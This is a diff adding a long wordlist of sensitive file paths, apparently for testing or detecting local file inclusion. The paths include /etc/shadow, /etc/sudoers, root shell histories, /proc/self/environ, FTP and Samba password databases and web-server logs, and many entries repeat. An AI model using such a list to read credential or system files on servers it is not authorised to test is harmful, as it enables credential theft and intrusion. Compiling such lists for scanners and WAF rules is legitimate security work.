+/usr/local/php4/lib/php.ini +/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php +/usr/local/php5/lib/php.ini +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.ini +/usr/local/php/lib/php.ini +/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/pureftpd/etc/pureftpd.pdn +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/www/logs/httpd_log +/usr/local/Zend/etc/php.ini +/usr/sbin/pure-config.pl +/var/adm/log/xferlog +/var/apache2/config.inc +/var/apache/logs/access_log +/var/apache/logs/error_log +/var/cpanel/cpanel.config +/var/lib/mysql/my.cnf +/var/lib/mysql/mysql/user.MYD +/var/local/www/conf/php.ini +/var/log/apache2/access_log +/var/log/apache2/access.log +/var/log/apache2/error_log +/var/log/apache2/error.log +/var/log/apache/access_log +/var/log/apache/access.log +/var/log/apache/error_log +/var/log/apache/error.log +/var/log/apache-ssl/access.log +/var/log/apache-ssl/error.log +/var/log/auth.log +/var/log/boot +/var/htmp +/var/log/chttp.log +/var/log/cups/error.log +/var/log/daemon.log +/var/log/debug +/var/log/dmesg +/var/log/dpkg.log +/var/log/exim_mainlog +/var/log/exim/mainlog +/var/log/exim_paniclog +/var/log/exim.paniclog +/var/log/exim_rejectlog +/var/log/exim/rejectlog +/var/log/faillog +/var/log/ftplog +/var/log/ftp-proxy +/var/log/ftp-proxy/ftp-proxy.log +/var/log/httpd/access_log +/var/log/httpd/access.log +/var/log/httpd/error_log +/var/log/httpd/error.log +/var/log/httpsd/ssl.access_log +/var/log/httpsd/ssl_log +/var/log/kern.log +/var/log/lastlog +/var/log/lighttpd/access.log +/var/log/lighttpd/error.log +/var/log/lighttpd/lighttpd.access.log +/var/log/lighttpd/lighttpd.error.log +/var/log/mail.info +/var/log/mail.log +/var/log/maillog +/var/log/mail.warn +/var/log/message +/var/log/messages +/var/log/mysqlderror.log +/var/log/mysql.log +/var/log/mysql/mysql-bin.log +/var/log/mysql/mysql.log +/var/log/mysql/mysql-slow.log +/var/log/proftpd +/var/log/pureftpd.log +/var/log/pure-ftpd/pure-ftpd.log +/var/log/secure +/var/log/vsftpd.log +/var/log/wtmp +/var/log/xferlog +/var/log/yum.log +/var/mysql.log +/var/run/utmp +/var/spool/cron/crontabs/root +/var/webmin/miniserv.log +/var/www/log/access_log +/var/www/log/error_log +/var/www/logs/access_log +/var/www/logs/error_log +/var/www/logs/access.log +/var/www/logs/error.log + +# Reference: https://nets.ec/File_Inclusion + +/etc/passwd +/etc/master.passwd +/etc/shadow +/var/db/shadow/hash +/etc/group +/etc/hosts +/etc/motd +/etc/issue +/etc/release +/etc/redhat-release +/etc/crontab +/etc/inittab +/proc/version +/proc/cmdline +/proc/self/environ +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/2 +/proc/self/fd/255 +/etc/httpd.conf +/etc/apache2.conf +/etc/apache2/apache2.conf +/etc/apache2/httpd.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/apache2/conf/httpd.conf +/etc/apache/conf/httpd.conf +/usr/local/apache2/conf/httpd.conf +/usr/local/apache/conf/httpd.conf +/etc/apache2/sites-enabled/000-default +/etc/apache2/sites-available/default +/etc/nginx.conf +/etc/nginx/nginx.conf +/etc/nginx/sites-available/default +/etc/nginx/sites-enabled/default +/etc/ssh/sshd_config +/etc/my.cnf +/etc/mysql/my.cnf +/etc/php.ini +/var/mail/www-data +/var/mail/www +/var/mail/apache +/var/mail/nobody +/var/www/.bash_history +/root/.bash_history +/var/root/.bash_history +/var/root/.sh_history +/etc/passwd +/etc/master.passwd +/etc/shadow +/var/db/shadow/hash +/etc/group +/etc/hosts +/etc/motd +/etc/issue +/etc/release +/etc/redhat-release +/etc/crontab +/etc/inittab +/proc/version +/proc/cmdline +/proc/self/environ +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/2 +/proc/self/fd/255 +/etc/httpd.conf +/etc/apache2.conf +/etc/apache2/apache2.conf +/etc/apache2/httpd.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/apache2/conf/httpd.conf +/etc/apache/conf/httpd.conf +/usr/local/apache2/conf/httpd.conf +/usr/local/apache/conf/httpd.conf +/etc/apache2/sites-enabled/000-default +/etc/apache2/sites-available/default +/etc/nginx.conf +/etc/nginx/nginx.conf +/etc/nginx/sites-available/default +/etc/nginx/sites-enabled/default +/etc/ssh/sshd_config +/etc/my.cnf +/etc/mysql/my.cnf +/etc/php.ini +/var/mail/www-data +/var/mail/www +/var/mail/apache +/var/mail/nobody +/var/www/.bash_history +/root/.bash_history +/var/root/.bash_history +/var/root/.sh_history +/usr/local/apache/httpd.conf +/usr/local/apache2/httpd.conf +/usr/local/httpd/conf/httpd.conf +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache2/conf/httpd.conf +/usr/local/etc/httpd/conf/httpd.conf +/usr/apache2/conf/httpd.conf +/usr/apache/conf/httpd.conf +/etc/http/conf/httpd.conf +/etc/http/httpd.conf +/opt/apache/conf/httpd.conf +/opt/apache2/conf/httpd.conf +/var/www/conf/httpd.conf +/usr/local/php/httpd.conf +/usr/local/php4/httpd.conf +/usr/local/php5/httpd.conf +/etc/httpd/php.ini +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/local/etc/php.ini +/usr/local/lib/php.ini +/usr/local/php/lib/php.ini +/usr/local/php4/lib/php.ini +/usr/local/php5/lib/php.ini +/usr/local/apache/conf/php.ini +/etc/php4/apache/php.ini +/etc/php4/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php5/apache2/php.ini +/etc/php/php.ini +/etc/php/php4/php.ini +/etc/php/apache/php.ini +/etc/php/apache2/php.ini +/usr/local/Zend/etc/php.ini +/opt/xampp/etc/php.ini +/var/local/www/conf/php.ini +/etc/php/cgi/php.ini +/etc/php4/cgi/php.ini +/etc/php5/cgi/php.ini +/var/log/lastlog +/var/log/wtmp +/var/run/utmp +/var/log/messages.log +/var/log/messages +/var/log/messages.0 +/var/log/messages.1 +/var/log/messages.2 +/var/log/messages.3 +/var/log/syslog.log +/var/log/syslog +/var/log/syslog.0 +/var/log/syslog.1 +/var/log/syslog.2 +/var/log/syslog.3 +/var/log/auth.log +/var/log/auth.log.0 +/var/log/auth.log.1 +/var/log/auth.log.2 +/var/log/auth.log.3 +/var/log/authlog +/var/log/syslog +/var/adm/lastlog +/var/adm/messages +/var/adm/messages.0 +/var/adm/messages.1 +/var/adm/messages.2 +/var/adm/messages.3 +/var/adm/utmpx +/var/adm/wtmpx +/var/log/kernel.log +/var/log/secure.log +/var/log/mail.log +/var/run/utmp +/var/log/wtmp +/var/log/lastlog +/var/log/access.log +/var/log/access_log +/var/log/error.log +/var/log/error_log +/var/log/apache2/access.log +/var/log/apache2/access_log +/var/log/apache2/error.log +/var/log/apache2/error_log +/var/log/apache/access.log +/var/log/apache/access_log +/var/log/apache/error.log +/var/log/apache/error_log +/var/log/httpd/access.log +/var/log/httpd/access_log +/var/log/httpd/error.log +/var/log/httpd/error_log +/etc/httpd/logs/access.log +/etc/httpd/logs/access_log +/etc/httpd/logs/error.log +/etc/httpd/logs/error_log +/usr/local/apache/logs/access.log +/usr/local/apache/logs/access_log +/usr/local/apache/logs/error.log +/usr/local/apache/logs/error_log +/usr/local/apache2/logs/access.log +/usr/local/apache2/logs/access_log +/usr/local/apache2/logs/error.log +/usr/local/apache2/logs/error_log +/var/www/logs/access.log +/var/www/logs/access_log +/var/www/logs/error.log +/var/www/logs/error_log +/opt/lampp/logs/access.log +/opt/lampp/logs/access_log +/opt/lampp/logs/error.log +/opt/lampp/logs/error_log +/opt/xampp/logs/access.log +/opt/xampp/logs/access_log +/opt/xampp/logs/error.log +/opt/xampp/logs/error_log + +# Reference: https://github.com/ironbee/ironbee-rules/blob/master/rules/lfi-files.data + +/.htaccess +/.htpasswd +/access.log +/access_log +/apache/conf/httpd.conf +/apache/logs/access.log +/apache/logs/error.log +/apache/php/php.ini +/apache2/logs/access.log +/apache2/logs/error.log +/bin/php.ini +/boot.ini +/boot/grub/grub.cfg +/boot/grub/menu.lst +/config.inc.php +/error.log +/error_log +/etc/adduser.conf +/etc/alias +/etc/apache/access.conf +/etc/apache/apache.conf +/etc/apache/conf/httpd.conf +/etc/apache/default-server.conf +/etc/apache/httpd.conf +/etc/apache2/apache.conf +/etc/apache2/apache2.conf +/etc/apache2/conf.d/charset +/etc/apache2/conf.d/phpmyadmin.conf +/etc/apache2/conf.d/security +/etc/apache2/conf/httpd.conf +/etc/apache2/default-server.conf +/etc/apache2/envvars +/etc/apache2/httpd.conf +/etc/apache2/httpd2.conf +/etc/apache2/mods-available/autoindex.conf +/etc/apache2/mods-available/deflate.conf +/etc/apache2/mods-available/dir.conf +/etc/apache2/mods-available/mem_cache.conf +/etc/apache2/mods-available/mime.conf +/etc/apache2/mods-available/proxy.conf +/etc/apache2/mods-available/setenvif.conf +/etc/apache2/mods-available/ssl.conf +/etc/apache2/mods-enabled/alias.conf +/etc/apache2/mods-enabled/deflate.conf +/etc/apache2/mods-enabled/dir.conf +/etc/apache2/mods-enabled/mime.conf +/etc/apache2/mods-enabled/negotiation.conf +/etc/apache2/mods-enabled/php5.conf +/etc/apache2/mods-enabled/status.conf +/etc/apache2/ports.conf +/etc/apache2/sites-available/default +/etc/apache2/sites-available/default-ssl +/etc/apache2/sites-enabled/000-default +/etc/apache2/sites-enabled/default +/etc/apache2/ssl-global.conf +/etc/apache2/vhosts.d/00_default_vhost.conf +/etc/apache2/vhosts.d/default_vhost.include +/etc/apache22/conf/httpd.conf +/etc/apache22/httpd.conf +/etc/apt/apt.conf +/etc/avahi/avahi-daemon.conf +/etc/bash.bashrc +/etc/bash_completion.d/debconf +/etc/bluetooth/input.conf +/etc/bluetooth/main.conf +/etc/bluetooth/network.conf +/etc/bluetooth/rfcomm.conf +/etc/ca-certificates.conf +/etc/ca-certificates.conf.dpkg-old +/etc/casper.conf +/etc/chkrootkit.conf +/etc/chrootusers +/etc/clamav/clamd.conf +/etc/clamav/freshclam.conf +/etc/crontab +/etc/crypttab +/etc/cups/acroread.conf +/etc/cups/cupsd.conf +/etc/cups/cupsd.conf.default +/etc/cups/pdftops.conf +/etc/cups/printers.conf +/etc/cvs-cron.conf +/etc/cvs-pserver.conf +/etc/debconf.conf +/etc/debian_version +/etc/default/grub +/etc/deluser.conf +/etc/dhcp/dhclient.conf +/etc/dhcp3/dhclient.conf +/etc/dhcp3/dhcpd.conf +/etc/dns2tcpd.conf +/etc/e2fsck.conf +/etc/esound/esd.conf +/etc/etter.conf +/etc/exports +/etc/fedora-release +/etc/firewall.rules +/etc/foremost.conf +/etc/fstab +/etc/ftpchroot +/etc/ftphosts +/etc/ftpusers +/etc/fuse.conf +/etc/group +/etc/group- +/etc/hdparm.conf +/etc/host.conf +/etc/hostname +/etc/hosts +/etc/hosts.allow +/etc/hosts.deny +/etc/http/conf/httpd.conf +/etc/http/httpd.conf +/etc/httpd.conf +/etc/httpd/apache.conf +/etc/httpd/apache2.conf +/etc/httpd/conf +/etc/httpd/conf.d +/etc/httpd/conf.d/php.conf +/etc/httpd/conf.d/squirrelmail.conf +/etc/httpd/conf/apache.conf +/etc/httpd/conf/apache2.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/extra/httpd-ssl.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/access.log +/etc/httpd/logs/access_log +/etc/httpd/logs/error.log +/etc/httpd/logs/error_log +/etc/httpd/mod_php.conf +/etc/httpd/php.ini +/etc/inetd.conf +/etc/init.d +/etc/inittab +/etc/ipfw.conf +/etc/ipfw.rules +/etc/issue +/etc/issue +/etc/issue.net +/etc/kbd/config +/etc/kernel-img.conf +/etc/kernel-pkg.conf +/etc/ld.so.conf +/etc/ldap/ldap.conf +/etc/lighttpd/lighthttpd.conf +/etc/login.defs +/etc/logrotate.conf +/etc/logrotate.d/ftp +/etc/logrotate.d/proftpd +/etc/logrotate.d/vsftpd.log +/etc/ltrace.conf +/etc/mail/sendmail.conf +/etc/mandrake-release +/etc/manpath.config +/etc/miredo-server.conf +/etc/miredo.conf +/etc/miredo/miredo-server.conf +/etc/miredo/miredo.conf +/etc/modprobe.d/vmware-tools.conf +/etc/modules +/etc/mono/1.0/machine.config +/etc/mono/2.0/machine.config +/etc/mono/2.0/web.config +/etc/mono/config +/etc/motd +/etc/motd +/etc/mtab +/etc/mtools.conf +/etc/muddleftpd.com +/etc/muddleftpd/muddleftpd.conf +/etc/muddleftpd/muddleftpd.passwd +/etc/muddleftpd/mudlog +/etc/muddleftpd/mudlogd.conf +/etc/muddleftpd/passwd +/etc/my.cnf +/etc/mysql/conf.d/old_passwords.cnf +/etc/mysql/my.cnf +/etc/networks +/etc/newsyslog.conf +/etc/nginx/nginx.conf +/etc/openldap/ldap.conf +/etc/os-release +/etc/osxhttpd/osxhttpd.conf +/etc/pam.conf +/etc/pam.d/proftpd +/etc/passwd +/etc/passwd +/etc/passwd- +/etc/passwd~ +/etc/password.master +/etc/php.ini +/etc/php/apache/php.ini +/etc/php/apache2/php.ini +/etc/php/cgi/php.ini +/etc/php/php.ini +/etc/php/php4/php.ini +/etc/php4.4/fcgi/php.ini +/etc/php4/apache/php.ini +/etc/php4/apache2/php.ini +/etc/php4/cgi/php.ini +/etc/php5/apache/php.ini +/etc/php5/apache2/php.ini +/etc/php5/cgi/php.ini +/etc/phpmyadmin/config.inc.php +/etc/postgresql/pg_hba.conf +/etc/postgresql/postgresql.conf +/etc/profile +/etc/proftp.conf +/etc/proftpd/modules.conf +/etc/protpd/proftpd.conf +/etc/pulse/client.conf +/etc/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pure-ftpd/pureftpd.pdb +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/rc.conf +/etc/rc.d/rc.httpd +/etc/redhat-release +/etc/resolv.conf +/etc/resolvconf/update-libc.d/sendmail +/etc/samba/dhcp.conf +/etc/samba/netlogon +/etc/samba/private/smbpasswd +/etc/samba/samba.conf +/etc/samba/smb.conf +/etc/samba/smb.conf.user +/etc/samba/smbpasswd +/etc/samba/smbusers +/etc/security/access.conf +/etc/security/environ +/etc/security/failedlogin +/etc/security/group +/etc/security/group.conf +/etc/security/lastlog +/etc/security/limits +/etc/security/limits.conf +/etc/security/namespace.conf +/etc/security/opasswd +/etc/security/pam_env.conf +/etc/security/passwd +/etc/security/sepermit.conf +/etc/security/time.conf +/etc/security/user +/etc/sensors.conf +/etc/sensors3.conf +/etc/shadow +/etc/shadow- +/etc/shadow~ +/etc/slackware-release +/etc/smb.conf +/etc/smbpasswd +/etc/smi.conf +/etc/squirrelmail/apache.conf +/etc/squirrelmail/config.php +/etc/squirrelmail/config/config.php +/etc/squirrelmail/config_default.php +/etc/squirrelmail/config_local.php +/etc/squirrelmail/default_pref +/etc/squirrelmail/filters_setup.php +/etc/squirrelmail/index.php +/etc/squirrelmail/sqspell_config.php +/etc/ssh/sshd_config +/etc/sso/sso_config.ini +/etc/stunnel/stunnel.conf +/etc/subversion/config +/etc/sudoers +/etc/suse-release +/etc/sw-cp-server/applications.d/00-sso-cpserver.conf +/etc/sw-cp-server/applications.d/plesk.conf +/etc/sysconfig/network-scripts/ifcfg-eth0 +/etc/sysctl.conf +/etc/sysctl.d/10-console-messages.conf +/etc/sysctl.d/10-network-security.conf +/etc/sysctl.d/10-process-security.conf +/etc/sysctl.d/wine.sysctl.conf +/etc/syslog.conf +/etc/timezone +/etc/tinyproxy/tinyproxy.conf +/etc/tor/tor-tsocks.conf +/etc/tsocks.conf +/etc/updatedb.conf +/etc/updatedb.conf.beforevmwaretoolsinstall +/etc/utmp +/etc/vhcs2/proftpd/proftpd.conf +/etc/vmware-tools/config +/etc/vmware-tools/tpvmlp.conf +/etc/vmware-tools/vmware-tools-libraries.conf +/etc/vsftpd.chroot_list +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/webmin/miniserv.conf +/etc/webmin/miniserv.users +/etc/wicd/dhclient.conf.template.default +/etc/wicd/manager-settings.conf +/etc/wicd/wired-settings.conf +/etc/wicd/wireless-settings.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/etc/x11/xorg.conf +/etc/x11/xorg.conf-vesa +/etc/x11/xorg.conf-vmware +/etc/x11/xorg.conf.beforevmwaretoolsinstall +/etc/x11/xorg.conf.orig +/home/bin/stable/apache/php.ini +/home/postgres/data/pg_hba.conf +/home/postgres/data/pg_ident.conf +/home/postgres/data/pg_version +/home/postgres/data/postgresql.conf +/home/user/lighttpd/lighttpd.conf +/home2/bin/stable/apache/php.ini +/http/httpd.conf +/library/webserver/documents/.htaccess +/library/webserver/documents/default.htm +/library/webserver/documents/default.html +/library/webserver/documents/default.php +/library/webserver/documents/index.htm +/library/webserver/documents/index.html +/library/webserver/documents/index.php +/logs/access.log +/logs/access_log +/logs/error.log +/logs/error_log +/logs/pure-ftpd.log +/logs/security_debug_log +/logs/security_log +/mysql/bin/my.ini +/mysql/data/mysql-bin.index +/mysql/data/mysql-bin.log +/mysql/data/mysql.err +/mysql/data/mysql.log +/mysql/my.cnf +/mysql/my.ini +/netserver/bin/stable/apache/php.ini +/opt/jboss/server/default/conf/jboss-minimal.xml +/opt/jboss/server/default/conf/jboss-service.xml +/opt/jboss/server/default/conf/jndi.properties +/opt/jboss/server/default/conf/log4j.xml +/opt/jboss/server/default/conf/login-config.xml +/opt/jboss/server/default/conf/server.log.properties +/opt/jboss/server/default/conf/standardjaws.xml +/opt/jboss/server/default/conf/standardjboss.xml +/opt/jboss/server/default/deploy/jboss-logging.xml +/opt/jboss/server/default/log/boot.log +/opt/jboss/server/default/log/server.log +/opt/apache/apache.conf +/opt/apache/apache2.conf +/opt/apache/conf/apache.conf +/opt/apache/conf/apache2.conf +/opt/apache/conf/httpd.conf +/opt/apache2/apache.conf +/opt/apache2/apache2.conf +/opt/apache2/conf/apache.conf +/opt/apache2/conf/apache2.conf +/opt/apache2/conf/httpd.conf +/opt/apache22/conf/httpd.conf +/opt/httpd/apache.conf +/opt/httpd/apache2.conf +/opt/httpd/conf/apache.conf +/opt/httpd/conf/apache2.conf +/opt/lampp/etc/httpd.conf +/opt/lampp/logs/access.log +/opt/lampp/logs/access_log +/opt/lampp/logs/error.log +/opt/lampp/logs/error_log +/opt/lsws/conf/httpd_conf.xml +/opt/lsws/logs/access.log +/opt/lsws/logs/error.log +/opt/tomcat/logs/catalina.err +/opt/tomcat/logs/catalina.out +/opt/xampp/etc/php.ini +/opt/xampp/logs/access.log +/opt/xampp/logs/access_log +/opt/xampp/logs/error.log +/opt/xampp/logs/error_log +/php/php.ini +/php/php.ini +/php4/php.ini +/php5/php.ini +/postgresql/log/pgadmin.log +/private/etc/httpd/apache.conf +/private/etc/httpd/apache2.conf +/private/etc/httpd/httpd.conf +/private/etc/httpd/httpd.conf.default +/private/etc/squirrelmail/config/config.php +/proc/cpuinfo +/proc/devices +/proc/meminfo +/proc/net/tcp +/proc/net/udp +/proc/self/cmdline +/proc/self/environ +/proc/self/environ +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/10 +/proc/self/fd/11 +/proc/self/fd/12 +/proc/self/fd/13 +/proc/self/fd/14 +/proc/self/fd/15 +/proc/self/fd/2 +/proc/self/fd/3 +/proc/self/fd/4 +/proc/self/fd/5 +/proc/self/fd/6 +/proc/self/fd/7 +/proc/self/fd/8 +/proc/self/fd/9 +/proc/self/mounts +/proc/self/stat +/proc/self/status +/proc/version +/program files/jboss/server/default/conf/jboss-minimal.xml +/program files/jboss/server/default/conf/jboss-service.xml +/program files/jboss/server/default/conf/jndi.properties +/program files/jboss/server/default/conf/log4j.xml +/program files/jboss/server/default/conf/login-config.xml +/program files/jboss/server/default/conf/server.log.properties +/program files/jboss/server/default/conf/standardjaws.xml +/program files/jboss/server/default/conf/standardjboss.xml +/program files/jboss/server/default/deploy/jboss-logging.xml +/program files/jboss/server/default/log/boot.log +/program files/jboss/server/default/log/server.log +/program files/apache group/apache/apache.conf +/program files/apache group/apache/apache2.conf +/program files/apache group/apache/conf/apache.conf +/program files/apache group/apache/conf/apache2.conf +/program files/apache group/apache/conf/httpd.conf +/program files/apache group/apache/logs/access.log +/program files/apache group/apache/logs/error.log +/program files/apache group/apache2/conf/apache.conf +/program files/apache group/apache2/conf/apache2.conf +/program files/apache group/apache2/conf/httpd.conf +/program files/apache software foundation/apache2.2/conf/httpd.conf +/program files/apache software foundation/apache2.2/logs/access.log +/program files/apache software foundation/apache2.2/logs/error.log +/program files/mysql/data/mysql-bin.index +/program files/mysql/data/mysql-bin.log +/program files/mysql/data/mysql.err +/program files/mysql/data/mysql.log +/program files/mysql/my.cnf +/program files/mysql/my.ini +/program files/mysql/mysql server 5.0/data/mysql-bin.index +/program files/mysql/mysql server 5.0/data/mysql-bin.log +/program files/mysql/mysql server 5.0/data/mysql.err +/program files/mysql/mysql server 5.0/data/mysql.log +/program files/mysql/mysql server 5.0/my.cnf +/program files/mysql/mysql server 5.0/my.ini +/program files/postgresql/8.3/data/pg_hba.conf +/program files/postgresql/8.3/data/pg_ident.conf +/program files/postgresql/8.3/data/postgresql.conf +/program files/postgresql/8.4/data/pg_hba.conf +/program files/postgresql/8.4/data/pg_ident.conf +/program files/postgresql/8.4/data/postgresql.conf +/program files/postgresql/9.0/data/pg_hba.conf +/program files/postgresql/9.0/data/pg_ident.conf +/program files/postgresql/9.0/data/postgresql.conf +/program files/postgresql/9.1/data/pg_hba.conf +/program files/postgresql/9.1/data/pg_ident.conf +/program files/postgresql/9.1/data/postgresql.conf +/program files/vidalia bundle/polipo/polipo.conf +/program files/xampp/apache/conf/apache.conf +/program files/xampp/apache/conf/apache2.conf +/program files/xampp/apache/conf/httpd.conf +/root/.bash_config +/root/.bash_history +/root/.bash_logout +/root/.bashrc +/root/.ksh_history +/root/.xauthority +/srv/www/htdos/squirrelmail/config/config.php +/ssl_request_log +/system/library/webobjects/adaptors/apache2.2/apache.conf +/temp/sess_ +/thttpd_log +/tmp/jboss/server/default/conf/jboss-minimal.xml +/tmp/jboss/server/default/conf/jboss-service.xml +/tmp/jboss/server/default/conf/jndi.properties +/tmp/jboss/server/default/conf/log4j.xml +/tmp/jboss/server/default/conf/login-config.xml +/tmp/jboss/server/default/conf/server.log.properties +/tmp/jboss/server/default/conf/standardjaws.xml +/tmp/jboss/server/default/conf/standardjboss.xml +/tmp/jboss/server/default/deploy/jboss-logging.xml +/tmp/jboss/server/default/log/boot.log +/tmp/jboss/server/default/log/server.log +/tmp/access.log +/tmp/sess_ +/usr/apache/conf/httpd.conf +/usr/apache2/conf/httpd.conf +/usr/etc/pure-ftpd.conf +/usr/home/user/lighttpd/lighttpd.conf +/usr/home/user/var/log/apache.log +/usr/home/user/var/log/lighttpd.error.log +/usr/internet/pgsql/data/pg_hba.conf +/usr/internet/pgsql/data/postmaster.log +/usr/lib/cron/log +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/lib/security/mkuser.default +/usr/local/jboss/server/default/conf/jboss-minimal.xml +/usr/local/jboss/server/default/conf/jboss-service.xml +/usr/local/jboss/server/default/conf/jndi.properties +/usr/local/jboss/server/default/conf/log4j.xml +/usr/local/jboss/server/default/conf/login-config.xml +/usr/local/jboss/server/default/conf/server.log.properties +/usr/local/jboss/server/default/conf/standardjaws.xml +/usr/local/jboss/server/default/conf/standardjboss.xml +/usr/local/jboss/server/default/deploy/jboss-logging.xml +/usr/local/jboss/server/default/log/boot.log +/usr/local/jboss/server/default/log/server.log +/usr/local/apache/apache.conf +/usr/local/apache/apache2.conf +/usr/local/apache/conf/access.conf +/usr/local/apache/conf/apache.conf +/usr/local/apache/conf/apache2.conf +/usr/local/apache/conf/httpd.conf +/usr/local/apache/conf/httpd.conf.default +/usr/local/apache/conf/modsec.conf +/usr/local/apache/conf/php.ini +/usr/local/apache/conf/vhosts-custom.conf +/usr/local/apache/conf/vhosts.conf +/usr/local/apache/httpd.conf +/usr/local/apache/logs/access.log +/usr/local/apache/logs/access_log +/usr/local/apache/logs/audit_log +/usr/local/apache/logs/error.log +/usr/local/apache/logs/error_log +/usr/local/apache/logs/lighttpd.error.log +/usr/local/apache/logs/lighttpd.log +/usr/local/apache/logs/mod_jk.log +/usr/local/apache1.3/conf/httpd.conf +/usr/local/apache2/apache.conf +/usr/local/apache2/apache2.conf +/usr/local/apache2/conf/apache.conf +/usr/local/apache2/conf/apache2.conf +/usr/local/apache2/conf/extra/httpd-ssl.conf +/usr/local/apache2/conf/httpd.conf +/usr/local/apache2/conf/modsec.conf +/usr/local/apache2/conf/ssl.conf +/usr/local/apache2/conf/vhosts-custom.conf +/usr/local/apache2/conf/vhosts.conf +/usr/local/apache2/httpd.conf +/usr/local/apache2/logs/access.log +/usr/local/apache2/logs/access_log +/usr/local/apache2/logs/audit_log +/usr/local/apache2/logs/error.log +/usr/local/apache2/logs/error_log +/usr/local/apache2/logs/lighttpd.error.log +/usr/local/apache2/logs/lighttpd.log +/usr/local/apache22/conf/httpd.conf +/usr/local/apache22/httpd.conf +/usr/local/apps/apache/conf/httpd.conf +/usr/local/apps/apache2/conf/httpd.conf +/usr/local/apps/apache22/conf/httpd.conf +/usr/local/cpanel/logs/access_log +/usr/local/cpanel/logs/error_log +/usr/local/cpanel/logs/license_log +/usr/local/cpanel/logs/login_log +/usr/local/cpanel/logs/stats_log +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache/httpd.conf +/usr/local/etc/apache/vhosts.conf +/usr/local/etc/apache2/conf/httpd.conf +/usr/local/etc/apache2/httpd.conf +/usr/local/etc/apache2/vhosts.conf +/usr/local/etc/apache22/conf/httpd.conf +/usr/local/etc/apache22/httpd.conf +/usr/local/etc/httpd/conf +/usr/local/etc/httpd/conf/httpd.conf +/usr/local/etc/lighttpd.conf +/usr/local/etc/lighttpd.conf.new +/usr/local/etc/nginx/nginx.conf +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/etc/smb.conf +/usr/local/etc/webmin/miniserv.conf +/usr/local/etc/webmin/miniserv.users +/usr/local/httpd/conf/httpd.conf +/usr/local/jakarta/dist/tomcat/conf/context.xml +/usr/local/jakarta/dist/tomcat/conf/jakarta.conf +/usr/local/jakarta/dist/tomcat/conf/logging.properties +/usr/local/jakarta/dist/tomcat/conf/server.xml +/usr/local/jakarta/dist/tomcat/conf/workers.properties +/usr/local/jakarta/dist/tomcat/logs/mod_jk.log +/usr/local/jakarta/tomcat/conf/context.xml +/usr/local/jakarta/tomcat/conf/jakarta.conf +/usr/local/jakarta/tomcat/conf/logging.properties +/usr/local/jakarta/tomcat/conf/server.xml +/usr/local/jakarta/tomcat/conf/workers.properties +/usr/local/jakarta/tomcat/logs/catalina.err +/usr/local/jakarta/tomcat/logs/catalina.out +/usr/local/jakarta/tomcat/logs/mod_jk.log +/usr/local/lib/php.ini +/usr/local/lighttpd/conf/lighttpd.conf +/usr/local/lighttpd/log/access.log +/usr/local/lighttpd/log/lighttpd.error.log +/usr/local/logs/access.log +/usr/local/logs/samba.log +/usr/local/lsws/conf/httpd_conf.xml +/usr/local/lsws/logs/error.log +/usr/local/mysql/data/mysql-bin.index +/usr/local/mysql/data/mysql-bin.log +/usr/local/mysql/data/mysql-slow.log +/usr/local/mysql/data/mysql.err +/usr/local/mysql/data/mysql.log +/usr/local/mysql/data/mysqlderror.log +/usr/local/nginx/conf/nginx.conf +/usr/local/pgsql/bin/pg_passwd +/usr/local/pgsql/data/passwd +/usr/local/pgsql/data/pg_hba.conf +/usr/local/pgsql/data/pg_log +/usr/local/pgsql/data/postgresql.conf +/usr/local/pgsql/data/postgresql.log +/usr/local/php/apache.conf +/usr/local/php/apache.conf.php +/usr/local/php/apache2.conf +/usr/local/php/apache2.conf.php +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.php +/usr/local/php/lib/php.ini +/usr/local/php4/apache.conf +/usr/local/php4/apache.conf.php +/usr/local/php4/apache2.conf +/usr/local/php4/apache2.conf.php +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php +/usr/local/php4/lib/php.ini +/usr/local/php5/apache.conf +/usr/local/php5/apache.conf.php +/usr/local/php5/apache2.conf +/usr/local/php5/apache2.conf.php +/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php +/usr/local/php5/lib/php.ini +/usr/local/psa/admin/conf/php.ini +/usr/local/psa/admin/conf/site_isolation_settings.ini +/usr/local/psa/admin/htdocs/domains/databases/phpmyadmin/libraries/config.default.php +/usr/local/psa/admin/logs/httpsd_access_log +/usr/local/psa/admin/logs/panel.log +/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/pureftpd/etc/pureftpd.pdb +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/samba/lib/log.user +/usr/local/samba/lib/smb.conf.user +/usr/local/sb/config +/usr/local/squirrelmail/www/readme +/usr/local/zend/etc/php.ini +/usr/local/zeus/web/global.cfg +/usr/local/zeus/web/log/errors +/usr/pkg/etc/httpd/httpd-default.conf +/usr/pkg/etc/httpd/httpd-vhosts.conf +/usr/pkg/etc/httpd/httpd.conf +/usr/pkgsrc/net/pureftpd/pure-ftpd.conf +/usr/pkgsrc/net/pureftpd/pureftpd.passwd +/usr/pkgsrc/net/pureftpd/pureftpd.pdb +/usr/ports/contrib/pure-ftpd/pure-ftpd.conf +/usr/ports/contrib/pure-ftpd/pureftpd.passwd +/usr/ports/contrib/pure-ftpd/pureftpd.pdb +/usr/ports/ftp/pure-ftpd/pure-ftpd.conf 